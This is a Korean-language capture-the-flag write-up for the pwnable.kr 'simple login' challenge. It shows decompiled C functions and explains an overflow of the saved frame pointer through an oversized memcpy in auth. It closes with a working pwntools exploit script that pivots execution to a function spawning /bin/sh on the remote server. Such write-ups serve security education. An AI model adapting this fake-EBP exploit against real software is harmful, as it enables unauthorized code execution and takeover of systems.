[pwnable.kr]simple login

입력 받은 값을 Base64Decode 함수에서 디코드해서 md5한 값이 f87cd601aa7fedca99018a8be88eda34 이 되야하는데 계속 바뀐다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-28h]
  char input; // [esp+1Eh] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-4h]

  memset(&input, 0, 30u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &input);
  memset(&::input, 0, 12u);
  v4 = 0;
  v6 = Base64Decode(&input, &v4);
  if ( v6 > 12 )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&::input, v4, v6);
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}

auth 함수에서 memcpy할때 a1만큼하는데 여기서 12가 들어가면 sfp를 덮을 수 있다.

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *md5_value; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]

  memcpy(&v4, &input, a1);
  md5_value = calc_md5(&v2, 12);
  printf("hash : %s\n", md5_value);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", md5_value) == 0;
}

correct 함수는 쉘을 띄워준다.

void __noreturn correct()
{
  if ( input == 0xDEADBEEF )
  {
    puts("Congratulation! you are good!");
    system("/bin/sh");
  }
  exit(0);
}

Fake EBP를 이용한 문제다. sfp를 전역변수인 input으로 덮고 esp + 4위치인 corret함수로 리턴되게하면 된다.

exploit.py

from pwn import *

e = ELF('./login')
#p = process('./login')
p = remote('pwnable.kr',9003)
_input = 0x0811EB40
_correct = 0x0804940C

payload = p32(0xDEADBEEF) # dummy
payload += p32(_correct) # eip
payload += p32(_input) # sfp -> bss
# leave-ret

p.sendafter(':',payload.encode('base64'))

p.interactive()